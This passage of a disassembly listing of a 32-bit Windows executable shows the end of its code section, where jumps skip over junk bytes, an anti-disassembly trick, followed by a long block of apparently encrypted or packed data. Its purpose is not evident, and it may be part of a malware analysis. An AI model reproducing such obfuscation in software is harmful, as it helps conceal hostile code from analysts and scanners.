; ---------------------------------------------------------------------------
		db 5Bh
		dd 3736D1F8h, 0D3C20DA4h
		db 10h
; ---------------------------------------------------------------------------


loc_4036BD:				; CODE XREF: sub_403516+149j
					; sub_403516+15Aj ...
		pop	edi
		pop	esi
		pop	ebx
		jmp	short locret_4036CD
; ---------------------------------------------------------------------------
		dw 0E09h
		dd 1AC53C2Fh, 0E641284Bh
; ---------------------------------------------------------------------------
		daa

locret_4036CD:				; CODE XREF: sub_403516+1AAj
		leave
		jmp	short locret_4036DE
; ---------------------------------------------------------------------------
		dd 0C3727DD4h, 1FBE7940h, 3BCA356Ch
		db 58h,	0B1h
; ---------------------------------------------------------------------------

locret_4036DE:				; CODE XREF: sub_403516+1B8j
		retn	8
sub_403516	endp

; ---------------------------------------------------------------------------
		jmp	short loc_4036E8
; ---------------------------------------------------------------------------
		db 96h
		dd 22ED0417h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4013B3


loc_4036E8:				; CODE XREF: sub_4013B3:loc_4013BEj
					; .text:004036E1j
		call	sub_4013C8
		nop
		mov	al, 60h
		pop	edx
		or	cl, [ebp-7]
		cmp	al, 26h
		outsb
		sbb	esi, [ecx-35ADD862h]
		jz	short $+2
; END OF FUNCTION CHUNK	FOR sub_4013B3
; ---------------------------------------------------------------------------
		db 0
		align 200h
_text		ends

; Section 2. (virtual address 00004000)
; Virtual size			: 00004BE7 (  19431.)
; Section size in file		: 00004C00 (  19456.)
; Offset to raw	data for section: 00002C00
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 404000h
		dd 923B0EC8h, 978AAF26h, 0B2C32CD3h, 0F8E915A7h, 39C48CFh
		dd 0DACA9359h, 11B7C1A2h, 0E2352680h, 7E53053h,	29428416h
		dd 0BDC3E2F9h, 299AA4Ah, 0BB03DF95h, 0E033A4DAh, 2E18E9Fh
		dd 5723634Ah, 0A1A0D946h, 83240E36h, 0A1A0D946h, 83240E36h
		dd 3C659129h, 4B9DE42Fh, 925578F4h, 74DD6DD2h, 6D717AE6h
		dd 887248A6h, 6D717AE6h, 887248A6h, 8C284FFAh, 1D2EC4B1h
		dd 44EB822Ch, 1F3EC6FFh, 7C429F98h, 0B4ACAC73h,	0A5B6355h
		dd 0D0609CACh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch,	1F3EC6FFh
		dd 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch
		dd 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh
		dd 44EB822Ch, 1F3EC6FFh, 44EB822Ch, 1F3EC6FFh, 1AD81994h
		dd 0ED966A89h, 44EB822Ch, 1F3EC6FFh, 44EB822Ch,	1F3EC6FFh
		dd 44EB822Ch, 1F3EC6FFh, 5DDE8ADFh, 2819E6B3h, 23C6C143h
		dd 0EC893CF5h, 0FA91475Ch, 9808DB48h, 129F2C97h, 5D9CBEE2h
		dd 4425D7Eh, 0AE269A70h, 0FBFFB6EFh, 0BA6CCC27h, 0C49D084Bh
		dd 0C1C7D077h, 23488A49h, 455819F4h, 5B0A5E34h,	4E104536h
		dd 8BFCD30h, 14838588h,	0AF00D16Fh, 0BB9647D8h,	0D2C51BF3h
		dd 8E8F11F5h, 5018AC74h, 582F7746h, 0A9AE7628h,	0C86330E9h
		dd 8C0257A5h, 24608415h, 0C0D79B38h, 0A2F1FD25h, 0EF53234Fh
		dd 472DFE10h, 0F7F4D28Bh, 0BC974444h, 0ACD9C3FAh, 2C8FEE5Fh
		dd 75D8910Bh, 76CFF07Ch, 59C45293h, 0CD536898h,	0BD37A5E4h
		dd 0DE2F12E5h, 0B49FC86h, 42A3EFDEh, 91933AD0h,	0CD387A11h
		dd 0AC763CFDh, 58755472h, 0D66D9DBh, 231F9F44h,	698D98D5h
		dd 4B553E48h, 299D3BC6h, 0FF555739h, 7A5B2FAAh,	0C04BDD29h
		dd 627CB57Fh, 4C9169E9h, 0D966583Bh, 44DA7E99h,	6C00E962h
		dd 27D0CF9Bh, 6146D703h, 0A4FFCDD8h, 0B7F9DD63h, 82403B0Eh
		dd 914CBAD4h, 0D231EF2Eh, 8343E397h, 0A21501E4h, 548236C5h
		dd 0A71A94ECh, 0D7DC4233h, 0E3C72328h, 0B5EB1C89h, 0BBE63A0Fh
		dd 750A40FAh, 0DE00C90Bh, 9774E3A9h, 806E3FB0h,	639BDCB0h
		dd 0B95E6E94h, 45776F7Dh, 0E6B9D82Eh, 0D131B397h, 27C433D7h
		dd 0EFB85358h, 0B3E9CF8Dh, 0AD5C915Fh, 8C730357h, 0BEB0C8A2h
		dd 15058651h, 3538C4C2h, 384A30DCh, 9E66F451h, 1C35B6D2h
		dd 0DCC4696Dh, 0BF2497C9h, 57F3C0D5h, 0F0A9FB56h, 93ECEB55h
		dd 0A990BA46h, 7E2A8CD8h, 1075D095h, 7977CC51h,	6F519491h
		dd 34BF9E03h, 557B579Bh, 0FE7CAC6Ch, 80BDA0C2h,	9A35C551h
		dd 4DA27D79h, 8E5DCC6Ch, 7CB447D1h, 8FC9E518h, 0AE5E0FCFh
		dd 0F24444A6h, 9714513Ch, 92C8E244h, 34D771F4h,	0A0629808h
		dd 2D687FD9h, 1875C58Fh, 0E3A4FB70h, 0B986AD2Eh, 0BB8BBB85h
		dd 81FD2A6Bh, 755D30EFh, 3D2A3FDDh, 2FB692BAh, 16A8EC13h
		dd 9DC4032Fh, 0FBC8A0AEh, 571B3FDEh, 516ABB0Eh,	0D1B1CF25h
		dd 7EEC9380h, 6FC68594h, 57CED332h, 99EC0C26h, 45232EAEh
		dd 0F43B2BC2h, 7B7ECFA0h, 120F9A03h, 7E5FBADBh,	0DEB2BDCCh
		dd 0C2AC6CD9h, 0B331825Ah, 3E4BDC49h, 86FC3A9Ch, 0B0FDDF91h
		dd 0C68F7E53h, 2787AAC2h, 0F2899EEh, 0A6409996h, 3A5A137Ah
		dd 54EB712Fh, 2AEC999Ch, 458AE3Bh, 77157C0h, 721E4880h
		dd 353E99E4h, 440A984h,	0AC2CA455h, 0CA94A1F3h,	58E40242h
		dd 0A5D0DDC4h, 468D42AEh, 305E2B63h, 7E1D55BDh,	0CBCBB72h
		dd 79881197h, 0B31D1831h, 0DFC91049h, 0FB86523Eh, 0F2EE58B2h
		dd 0A61F8CB8h, 0D417CC6Ch, 0D2C08D30h, 0EB23A8D6h, 9218BEAh
		dd 7DF01531h, 6B234FF0h, 0EE53C567h, 0A98CDA04h, 21960FC3h
		dd 2E16639Fh, 39606A86h, 68592B97h, 98F4F095h, 0C5DF0F3Eh
		dd 841E8038h, 0EA92A64Fh, 0A6C7FE68h, 0E923DA64h, 0A9A6379Bh
		dd 0EDEDA0E3h, 4AC5EE2h, 0EF8C5E7Ch, 40886E0Fh,	0DCAD0ACEh
		dd 9E74CB44h, 0E30D2468h, 21BB15C7h, 86C39C80h,	0D48DE650h
		dd 564C537Bh, 37F81C99h, 3B62DFE1h, 17AFE344h, 340504D8h
		dd 0C79216C1h, 0AB83F564h, 0D7F3BC7Fh, 6862A069h, 0A528089Ah
		dd 4EE43D3Ah, 4AA09C3Eh, 2A665476h, 4689EE8Bh, 80E9C07Bh
		dd 2DE0452h, 6228065Ch,	93026558h, 0A25D4BA2h, 96F28DA3h
		dd 674B4F5Bh, 85B1DC30h, 0BA6C4FFAh, 0C4ED452Eh, 868F7BDEh
		dd 0BD9982ECh, 69E32CCh, 0B3F59D37h, 0DD2E15F6h, 0B0801AF1h
		dd 0D4B05B48h, 23A7367Eh, 0C09AC86Ah, 968D675Dh, 0C1FF91C4h
		dd 471DB8F7h, 0D7E4366h, 69CDBC32h, 76DBC64Eh, 0E86DEAD0h
		dd 6CE7F520h, 0D73B22C5h, 579434AEh, 32EC7C38h,	885F4B39h
		dd 34C80153h, 0AC9A55CCh, 3655464Dh, 0F16A50BAh, 9915310h
		dd 823D60Ch, 36B2BDFEh,	0E3E0D928h, 3F731F44h, 7ABC1C2Bh
		dd 5E414578h, 5FEB230Bh, 0EA4D1265h, 12DC27A0h,	6A31EC04h
		dd 72EFE850h, 5DEF10E4h, 72D9B0F6h, 5E637412h, 77C295B5h
		dd 0AE9B720Ah, 1F8BF264h, 0E80DA69Eh, 0D6C258C6h, 4AAC2819h
		dd 0BE8F9F23h, 7C9D8897h, 0AECE5E0Ah, 0A1E93B17h, 23989BABh
		dd 0D07CDE04h, 38E55F39h, 5432D6C2h, 0ACE91F49h, 6B399366h
		dd 15C83F29h, 79BD1ED2h, 83317C94h, 3FD5710Eh, 396D86F9h
		dd 4AD0F08Ch, 8D0FD9EAh, 0A1E0A11Dh, 5DF9EE2Dh,	8DBC24CCh
		dd 26791656h, 36EB289Fh, 8F7C3FF8h, 0F982C472h,	933F0762h
		dd 830232DDh, 90539F4Eh, 9FE5BE73h, 585068F6h, 718A84EDh
		dd 74B3F41Ch, 0E0322C78h, 1A2D6767h, 3643BC10h,	133ACCCAh
		dd 0B3B1C68Ah, 8D9501A4h, 5602B7C5h, 4A0E327Ah,	0DF7AE3C1h
		dd 0D32F9AE9h, 184C8755h, 65F33444h, 4D191FA7h,	0FA87903h
		dd 2AE02DC6h, 11922414h, 0E032D713h, 469DFB0Bh,	0D42E5F26h
		dd 0BDF832C6h, 4D1FB38Fh, 8DED230Fh, 869D9377h,	9870E083h
		dd 0C4995D54h, 0E2FF3EC6h, 17111B03h, 45C7B2E9h, 0D2ED7349h
		dd 0B8731DD3h, 218E4C08h, 0E29367A5h, 106F9991h, 92F40D02h
		dd 0A9C67789h, 7A59A596h, 0E68BB450h, 0D863C573h, 1DF8EEBh
		dd 0E11F237Bh, 684C9EF5h, 3E30C872h, 7F3405A8h,	0C75C0C47h
		dd 5C8AAF8Eh, 50FDF246h, 0C1420AA9h, 0D12C17DEh, 8C87586Dh
		dd 0AFD5CF5Bh, 75CEA970h, 45A6E0Ah, 0D1B62D32h,	0E488E4Fh
		dd 88E5B1E3h, 9552A709h, 6E052513h, 3563DFCFh, 12505A5Ah
		dd 0CFDEFF75h, 6DC14EDh, 38009F31h, 0CD51B5EDh,	0FCBE80D2h
		dd 0B8651342h, 0B400D474h, 942B16D0h, 3A47FA79h, 88A0F855h
		dd 4075E90Dh, 799CB2A8h, 0C8D77A95h, 6B732DD9h,	0B33F7EEh
		dd 0EAB9806h, 88FC2CD3h, 8FED773Dh, 3666B7EFh, 2DB1DCFEh
		dd 0B11D9E7h, 16ACBB9Ch, 11FD649h, 9736BE11h, 0A2E920F8h
		dd 72768ADAh, 32CF06C1h, 1F47B1FEh, 0F840FC99h,	2794218h
		dd 1D56B35Ch, 73B41B52h, 618DCB09h, 0E24A4C69h,	3F5AEBA2h
		dd 0AF5FDA18h, 383D9A69h, 108E1A1Dh, 687BB65Bh,	1708ED92h
		dd 5E3106CAh, 0F417A5Eh, 83BA0A8h, 9DC02F52h, 41938D48h
		dd 9DD1E9E0h, 0BC5B4194h, 4B675D04h, 9BF59E91h,	0EF30E433h
		dd 355B1D3Bh, 0AF52473Dh, 0AB48F3D7h, 27E54586h, 0AEA1595h
		dd 0F36D2448h, 0DC5D1122h, 52D060BAh, 0EC0E9F5Fh, 5389E7E0h
		dd 45E1CE9Fh, 16F2DC8Eh, 0F6264205h, 0F06167CFh, 33081966h
		dd 517A366Dh, 0ADBBD32Bh, 9F0FAD16h, 0B22C1765h, 7A19A97Ah
		dd 47FAD6C4h, 1B94A92Fh, 0D97F7076h, 77CFAB5Ah,	0DF78B5F9h
		dd 3C801500h, 219D7792h, 0D08E48Eh, 385D2F9Eh, 1C5B238Fh
		dd 6E9E800Dh, 62E83A65h
		dd 0A58AB638h, 0C973080Ch, 0E57B45AFh, 0A68018E2h, 0E9131A80h
		dd 8B0D57FAh, 3213C921h, 1327F6EFh, 7276C4D0h, 0D5CAFF76h
		dd 8C196606h, 863A62BEh, 47F78A6Ah, 979EB3E5h, 0D3A87D07h
		dd 74638E29h, 0D689F43Eh, 0A38B0D1Fh, 666EBF49h, 3EE1AE0Eh
		dd 8F6827F3h, 187128BCh, 0CF6BF5DDh, 699666B3h,	0F2D21F45h
		dd 0F51072A1h, 0BB39345h, 0B8C4D4A0h, 7E9D1E89h, 13DFF956h
		dd 625E12F2h, 5593286Ah, 34821370h, 0A34A2C1Eh,	0C0D11287h
		dd 1AABBAE7h, 52B32E4Fh, 0E451E756h, 5D6C605Fh,	6072798Ch
		dd 134DBA66h, 0E2DBF545h, 51A7CB6Dh, 0B60523FFh, 48E08A14h
		dd 38E66A4Dh, 54705639h, 2AD0E431h, 63ADCA3Bh, 0BA7D9DA9h
		dd 0D77CA4EDh, 4F094980h, 0ADB1AA04h, 9322F581h, 0B2A003D8h
		dd 0CEDA10DEh, 0F5089DEAh, 0ECF744E0h, 96AA8C9Dh, 0AF9E1D2h
		dd 1950AFF1h, 9890F93h,	44673088h, 8F768B78h, 0EF78BFF0h
		dd 5A787469h, 0B302C0D8h, 0C7E3D167h, 0E8DE9ADBh, 0E5EA8C42h
		dd 2AEB8C26h, 0BCEA3388h, 43FC4AD8h, 0B1FA51ADh, 0FB8D25D4h
		dd 74AA5260h, 4AE8DAA3h, 7DFE64A7h, 6AF92C3Eh, 0DB61093Bh
		dd 0E352764Dh, 8D33DD43h, 947B6D95h, 747DF6D9h,	0B7732D9Dh
		dd 0A852F972h, 0F7E57726h, 0D180BECh, 720D522h,	3555BE88h
		dd 9F036B84h, 8ED79AC4h, 0FFB2E976h, 0C98A7E13h, 3D220C11h
		dd 43BE0DADh, 1E46A64Ah, 469FD1ABh, 5E0DD172h, 0AB31BFB8h
		dd 0C80BC39Ch, 19AF3A2Dh, 24B2AA4Ch, 32A8054Fh,	923F2336h
		dd 0D4C6E97Ch, 8760EB59h, 0DF381EE7h, 0CD2BF1CFh, 0EDA25B60h
		dd 0DEE933E8h, 0A7328DADh, 0F154E537h, 88200A8Dh, 6668CA8Fh
		dd 7F07C64Dh, 0D5CC6C52h, 8A651EE6h, 46E74ECFh,	0EB69B9D7h
		dd 88D4E5E2h, 3DEF2A79h, 0F1946179h, 9B842EB5h,	0EC8041E7h
		dd 0CCB78C1Ah, 0E5E4DD6Dh, 0A805E755h, 0CBF8AD6Eh, 0BC51F205h
		dd 0EA6BBFEFh, 9581E2CFh, 0E8401526h, 8446D499h, 6480DA2Bh
		dd 0A9847A75h, 0F4D929DEh, 160F95E9h, 0BF561CECh, 0B22E21E7h
		dd 836BC0EFh, 763F21FEh, 4E6C8E20h, 5CFFA03Ah, 1A14576Ch
		dd 43C471F2h, 77FD5EFAh, 0F733360h, 23E743h, 8452A930h
		dd 0BFE10A26h, 786DA253h, 985C0BC4h, 0F879174Fh, 6434BFBEh
		dd 12A41EB4h, 0DCD788F8h, 7F717392h, 0DA064061h, 44FB9BF8h
		dd 91380DD9h, 6C9DF889h, 1DBF9F9Bh, 5F7DB040h, 84E06DC4h
		dd 0D07C1A39h, 0AF6B4057h, 609C6CA3h, 0FFD0F595h, 9D93D1Bh
		dd 8915103Dh, 96685E82h, 0B1A1F443h, 0AC40BD47h, 3DFC0330h
		dd 0C3A623B6h, 17F860ADh, 0FAD376B7h, 0C64A7CFFh, 90EE4DAh
		dd 0D67F7070h, 6F7B0E10h, 99D5B909h, 0C43DFDFEh, 99EB1018h
		dd 0B431590Fh, 865A9CC6h, 6829D03Bh, 4DE9A5Dh, 0BBFDC5A2h
		dd 33886329h, 9B45AD78h, 1E10A4B4h, 83CC21B0h, 0C7B9D2FFh
		dd 23066351h, 18E5857Fh, 8C6AD7F8h, 49090CF3h, 0F2D05ECFh
		dd 0CECFC713h, 683D4265h, 9D214D9Fh, 2BFAB351h,	2DEBBE04h
		dd 0D2CC8E2Ch, 59050BDFh, 0FEEA0EABh, 7D0B97D7h, 6BDA38B2h
		dd 3FD803A5h, 0CFC18013h, 0D504153Ah, 0B8A3BE73h, 0A325BBF9h
		dd 940DC6CBh, 9AD250ECh, 3C251FF1h, 0E6A193C5h,	6295DE53h
		dd 5061C67Dh, 0E62DC3E5h, 6A10BA59h, 25E3F2CCh,	329DE99Ch
		dd 8CD6515Ah, 586A115Ch, 80F4A456h, 0D72A6285h,	0A3C71EFFh
		dd 51739B02h, 936E6D5Ah, 0CF240891h, 0E0891B35h, 0E5061E58h
		dd 0F52C2A3Dh, 5AFD8941h, 9E468C3Ch, 0F180E06Bh, 0B4573EEEh
		dd 0AA69B0E3h, 41C792BDh, 319CE5EDh, 0C18E26E5h, 0B0107B38h
		dd 280D69E1h, 759711E8h, 0ED7BE77Eh, 69976299h,	214A358h
		dd 76D07325h, 772D08DCh, 6069C352h, 0C91BAD05h,	81C991D5h
		dd 0E9CB2B9Fh, 83498946h, 4F041436h, 32BC8AAEh,	9C505978h
		dd 0F5FC2A0Fh, 2B31109Bh, 35D21F79h, 83B33CB3h,	0FE39DECDh
		dd 6D84CB4h, 0D47F8C17h, 0A2C26DB8h, 0B6413159h, 493DD180h
		dd 0A8635676h, 0FD8DA4EDh, 7CD5D252h, 7C0DAA85h, 0BFFCC986h
		dd 0B4C265Ah, 0E0C8BDF1h, 0C6641B94h, 0FD8CA9BFh, 8F67CAFh
		dd 0B5796132h, 6AE46F5Eh, 2AFE5922h, 0A5BD1B06h, 7873DAE2h
		dd 7F761EFh, 51D9CF14h,	98A6D21Ch, 0B8D021Ah, 22CBD0DBh
		dd 0E00048A7h, 0A47877ECh, 4D23C579h, 1FAD47F6h, 0AE4D0EA3h
		dd 2B40FD2Ah, 13A5BEEAh, 0E712430Dh, 0F858821Eh, 1D32EF76h
		dd 0F7BA8DBh, 0E554BCC8h, 68ABA919h, 5294EF62h,	8F3C1233h
		dd 6D113BBBh, 0E45BE6C5h, 1C992D7Ch, 73813193h,	0E607FAC8h
		dd 0DA31DACDh, 331D18F8h, 0D712C1A4h, 7D3AE2C3h, 7BB737AFh
		dd 0B154BDF7h, 9668B7A2h, 0A8E7DC0h, 756345EAh,	0F73AE8D7h
		dd 0C6472F55h, 4EB95FDEh, 0F53989EAh, 2C128B41h, 0BB05B0A3h
		dd 24F6458Bh, 9453EFB9h, 6DC71045h, 6C2BD5FBh, 32C2A781h
		dd 4AB76A9Ah, 129B5D16h, 2B71D83Ah, 8C76D3EFh, 0D96D8158h
		dd 91659A3Ah, 0A82A457Bh, 25F3502Ch, 0A0BFF354h, 0E9D12B74h
		dd 4D9C23Dh, 0FF00F6EDh, 821C3B21h, 7EF47440h, 6C32538Eh
		dd 48B364C7h, 29B80F4Ah, 1B84EC18h, 0F78D35EFh,	2E84F0FAh
		dd 47B999CEh, 2E50297Eh, 0BB668F04h, 691A8D20h,	7A544B08h
		dd 0C31C7618h, 672C7AACh, 2C705521h, 0C23D80CEh, 8848F396h
		dd 6EBF2A96h, 0D38C6F09h, 7C3200EEh, 0B09A538Ch, 3F704612h
		dd 0EDE00301h, 16B53AC8h, 6FCCD01Fh, 0D7E29DCFh, 815CE702h
		dd 0B0158200h, 977D23F3h, 0D63FB6A8h, 5F862F7h,	0E39925DCh
		dd 5D452271h, 7B6E1C82h, 9F5D3BFDh, 36F08811h, 0FBE084D5h
		dd 1776F51h, 0A288149Ch, 858DC452h, 3B23CA4Dh, 0CB274202h
		dd 8E94395Bh, 0F7BB3362h, 3F7B7F2Ch, 7B65597Ah,	0D2C37304h
		dd 0A7FD936Bh, 16D62758h, 0A7A9AEE7h, 0DCC990B3h, 9B2A42ADh
		dd 121637B9h, 2A84A3FBh, 8497D97Fh, 0F5FE7AA2h,	0E0EA1D15h
		dd 0BFB1D1D7h, 0C2EE3912h, 51A27A36h, 0B6536438h, 14A8B03Bh
		dd 0A608B617h, 21DA2A6Ah, 5ADFAEE5h, 571083E2h,	39047BDDh
		dd 0B991E691h, 0FB4F9B69h, 63D0365Eh, 1BB44CF0h, 0EC02BF2Eh
		dd 59C31C16h, 62EB8E1h,	3C15EA6Eh, 0D39CAF74h, 29BF6379h
		dd 520B132Dh, 3C879549h, 31B02BA0h, 77EE142Bh, 8BDF6645h
		dd 7C135567h, 0F93FD68h, 0EAC70953h, 0C17ACA87h, 41EB926Eh
		dd 0FCF6356Fh, 0D637204Ah, 0F61FB722h, 9C52AD02h, 1B20588Bh
		dd 9DFD38DCh, 0B6FE4D6Dh, 4E6AD53Fh, 9066F080h,	0E2D388C0h
		dd 0A9A56ECAh, 6A6F9574h, 0E7E15C4Ch, 0FBCECC89h, 7BB299D3h
		dd 0C36DE82h, 44556F61h, 985926F8h, 103B973h, 0B86ADF12h
		dd 91F5E7E1h, 0D51392C3h, 0B3B4782Ch, 2A4F050Fh, 0EDB4E7D6h
		dd 71535C1Fh, 2769A107h, 0C26FB4D0h, 0B3294C59h, 36E4986Dh
		dd 17257BCEh, 0F6CA9DF6h, 2BEADCCh, 0BED7F56Ah,	862861D3h
		dd 370638BBh, 9F856B36h, 3B0186C0h, 0F1EF8034h,	898C4670h
		dd 9FDD7317h, 877A3505h, 15773A2Ah, 289210ACh, 643F6A5Fh
		dd 2F1FE21Ah, 0D1E7848Dh, 6D50E9EDh, 0AA28BEA8h, 1096FE62h
		dd 0B4FC931Ch, 0C03E9044h, 1216688Eh, 13F499AEh, 56B36D8Dh
		dd 0E0BDAFC9h, 7885D05Ch, 5E2A791h, 44AEABF0h, 7FFBDD19h
		dd 13ED614Ah, 0E576EE76h, 0FA67C23Dh, 3CDF523Dh, 190B164Ah
		dd 0BE2A3777h, 23FA6B30h, 47C06C4Eh, 7A90A6A7h,	0F3AA999Eh
		dd 0BA5A9384h, 2FF877EFh, 67E4730Ch, 0BCF19CA2h, 0AC62F919h
		dd 0F4BC4895h, 0CDCE3B59h, 303743C2h, 0AA6E9FF1h, 3B7AF284h
		dd 73CABFE6h, 29F3448Dh
		dd 52BACDB2h, 0CB5C394Dh, 99995305h, 96109830h,	8A703C34h
		dd 0D7374A79h, 0A170C263h, 17C673DDh, 0A4A1E184h, 0A3B2AD10h
		dd 835D9266h, 2D4F5BF0h, 0C5C8716Bh, 0BC338E42h, 71FCDF99h
		dd 9D005C2Ah, 1465A48Ah, 5E94BAD2h, 9CA63AA0h, 0F93D8AACh
		dd 428F08FEh, 0D2C55EF5h, 2EE293ABh, 91AC1BBDh,	0EB9BC83h
		dd 6AE738F7h, 8C8EDE39h, 0CC72FFC5h, 0DDC6C924h, 0BB6BDA30h
		dd 728B366Dh, 7BABBB06h, 0BCF4BB10h, 0F24C9EF2h, 0C2A83848h
		dd 62606679h, 0CBCAB903h, 0A5B799A0h, 0DA8BA9A1h, 1FBE6752h
		dd 306AD110h, 6C16424Bh, 9AB10E6Eh, 1114CDB5h, 0F3893Ah
		dd 61F54CF7h, 0BECD7566h, 3E06BD8Ch, 40C3D138h,	0FAC256Dh
		dd 211F26F6h, 7E95804Ah, 52E4B45Ch, 9E711672h, 23766AEBh
		dd 3EB46E02h, 406B4D3Dh, 0E0B62BFEh, 25207884h,	105039FEh
		dd 1223410Eh, 712AFD7Dh, 0E7AFA440h, 0E4F369BDh, 0AE97EFE9h
		dd 0E25C5616h, 8C0BB864h, 0C017EC11h, 0E37C309Ch, 75F3B8B7h
		dd 0CEA0D760h, 0AFC40E23h, 0CDA0DAAh, 18ABB35Bh, 18D0238Eh
		dd 853FE341h, 9FFD557Fh, 37BE7EC6h, 0F56CA52Bh,	7213AFC3h
		dd 0C1BCCDD7h, 551600F2h, 44C77676h, 0CEF5694Eh, 0F5E296AEh
		dd 9CE0E386h, 2643398Ah, 0E07D604Fh, 0B3DEFB67h, 0DCFF21ECh
		dd 5A06A84Bh, 0E5C5D999h, 71CACC4Ah, 0BA29593Eh, 441CD1Fh
		dd 3514E473h, 43C1E709h, 796BB831h, 0FBBB7E8Bh,	39805992h
		dd 513D3D95h, 76A17CFBh, 0DBFC53E1h, 947EDD2Eh,	0F72E6A4h
		dd 9CA7AC6Ch, 2981300Ah, 0E996DD73h, 316EB3BAh,	586305ABh
		dd 0B9B6768h, 0B9A57369h, 0AABFCA2Fh, 32E046FAh, 60602EF6h
		dd 7FF0B999h, 2482F9BEh, 0DD5B1237h, 826C7F8Ch,	69B3C2F1h
		dd 0ECB368FAh, 6232476Fh, 0B7034C70h, 0D85DF579h, 34E9DCB1h
		dd 0BACCF7CDh, 369E3ABAh, 0F30D5B6Eh, 8306401Ch, 0C958E669h
		dd 0C00BCC5Ah, 8345A1E8h, 238551E3h, 1A0F2949h,	65637AE1h
		dd 0DA83D167h, 49592614h, 5D4C84F9h, 0A5516F6Fh, 51A62DB2h
		dd 358F9E00h, 0EB3FC7E4h, 103C5188h, 0D24F5BB0h, 0DE20A73Dh
		dd 9EDB6D75h, 0ACA2477Ah, 8029C27Fh, 7558591Eh,	3C3109B8h
		dd 0A4242BCEh, 89190642h, 43350C84h, 33FD4CC8h,	133E835h
		dd 0EE6B3CEh, 0DFCBBC0Eh, 380A6B4Eh, 0DD6F06C5h, 0FCE1D73Fh
		dd 1119BF53h, 53AD1BD4h, 1966D1E1h, 0FE6D578Fh,	56AB11AEh
		dd 7B468327h, 0AFC9CF1h, 0D009F21Ch, 9393C8E2h,	3728F906h
		dd 8E141BFBh, 0BAC51775h, 71B90CC2h, 0B368AEC8h, 0AF46AD00h
		dd 0B2FD596Fh, 9A719E7Dh, 46BE99BDh, 3CA12E3Bh,	0AC0F86EFh
		dd 85232991h, 0A330143Dh, 457342E8h, 0CDA6FABFh, 0D00F731Bh
		dd 0D48EE77Dh, 0DECC25FBh, 0AAD4B090h, 95131DCFh, 4FB6365Fh
		dd 3F4E1076h, 38E676D6h, 0A92267DDh, 1AC4CA3Ch,	0DBDABD01h
		dd 4962F5C4h, 4ECBC979h, 0FC5BC7E3h, 5364BDD4h,	99063DB4h
		dd 0E028FF37h, 3CA5E4F6h, 0D177008Bh, 0C3CFB769h, 3735CC6Ch
		dd 94244160h, 0E05E2CAEh, 0DFF18645h, 1EF87D1Fh, 0D50FE2CAh
		dd 33BFAB54h, 38300984h, 0BCBDF220h, 29EDF659h,	0CDC135D5h
		dd 0A05A4CB7h, 0B3CCE981h, 0BFE2A6EDh, 0AC62D6EFh, 4CF10EFBh
		dd 0FC04C92Ah, 75EC4DEDh, 8FA0908Eh, 0F98A5917h, 55CB70A6h
		dd 0F1532D98h, 0C345548Bh, 4813E940h, 18B75DBEh, 0E5602663h
		dd 4832928Fh, 51FC2150h, 5224F5C3h, 0C7DDCE8Fh,	2319E51Fh
		dd 492EBD8Dh, 0D621064h, 7E227819h, 0D2B8CBC5h,	0E3E8DBCDh
		dd 1137CFE9h, 4B569A1Bh, 35695C0Fh, 0F753AAD0h,	0EAC540DCh
		dd 8412D6B7h, 48708391h, 3F5041D7h, 22DF13DDh, 75BB7B6Eh
		dd 63F8418Dh, 3D4C2AA1h, 573ED9D1h, 45393669h, 0CEC086FBh
		dd 75303A46h, 23011757h, 233D13Ah, 415FB6EDh, 14119F0h
		dd 8D4ACE83h, 1F90D51h,	7A65C451h, 0C5DBD8A7h, 0D463CE77h
		dd 2EC62303h, 5C0B9E0Bh, 0AD38EF9Bh, 0FAA98D16h, 9143DF1Fh
		dd 0AF3076D7h, 0E86200FCh, 3D28081Dh, 0C57E4BD9h, 0E19F3A5Dh
		dd 5E832A74h, 0A67F5AF2h, 55721F46h, 454933D0h,	5E3B93DEh
		dd 0B48BBF4Fh, 0E848C7DDh, 4079A97Fh, 0CEF0F090h, 52C3940Dh
		dd 81379B1Dh, 44D06DD1h, 5D7F034Fh, 14BB5AE9h, 0E158601Ch
		dd 81FFE188h, 5B0B3BEEh, 8707ED22h, 141B62B2h, 6D99C20Fh
		dd 0CBC18372h, 4AD3923Ah, 0E280381Eh, 0C6D42CF9h, 0FCEF342Dh
		dd 0BF259834h, 7D4DE969h, 3FB4D6BBh, 3E09F213h,	1DF9AD63h
		dd 8084C0CCh, 5124C972h, 610B5048h, 418C2EB5h, 0ED4B175Bh
		dd 9946CBE2h, 0A8923DC2h, 54725559h, 7F31ADA5h,	7D85697Ch
		dd 1C0FD88Fh, 0D02F075Eh, 6221A422h, 80DC9976h,	0EA267FFFh
		dd 0F6098082h, 0C943675Ch, 72BCD104h, 5B595930h, 968FF438h
		dd 0D67D9809h, 376E8006h, 0BA647DAEh, 79836532h, 0C6AB97B1h
		dd 79601172h, 59834138h, 0B8DB82A0h, 1936E5D4h,	9A2F5CFFh
		dd 41583590h, 0BC275B0Ch, 0F4D3445h, 68DD92D4h,	0C734B63h
		dd 0C84423C6h, 0CC92873Dh, 9F8CB018h, 0A45C77A1h, 2D3D9791h
		dd 0FAAFE405h, 1FBF7B95h, 968949D3h, 7AB18C1h, 8122F25Ch
		dd 25C8E749h, 8FAE07E6h, 3263DA48h, 58DF8CB8h, 618E8661h
		dd 5F0A18A5h, 72791F9Bh, 0F9500020h, 23CDF158h,	0CA720772h
		dd 73A04D2h, 3300A1BAh,	5C75789Fh, 0D3620AC8h, 4F7D78F8h
		dd 73128DB8h, 0D1311296h, 0AFA200C8h, 1848F766h, 0C77CF5E4h
		dd 0F9B54693h, 38E82FBAh, 99F33740h, 0BA46C1ACh, 0E0020E10h
		dd 2233C11Fh, 181D499Ch, 0EB843BB0h, 914BDA5Bh,	9250A457h
		dd 1EAEC1B5h, 0B9D38D81h, 0ADCB13F3h, 687F2F61h, 2F143F23h
		dd 0D9F4F21Dh, 0EA8AF74h, 0D8544BA8h, 5173536Eh, 40219DDCh
		dd 0DEB12AFBh, 0D29D8E1h, 47A7E9B9h, 7EB95D98h,	0E00BC7EAh
		dd 0C00F24A2h, 26C7F3D1h, 9260DF5Ah, 2459107Bh,	0CE0D6774h
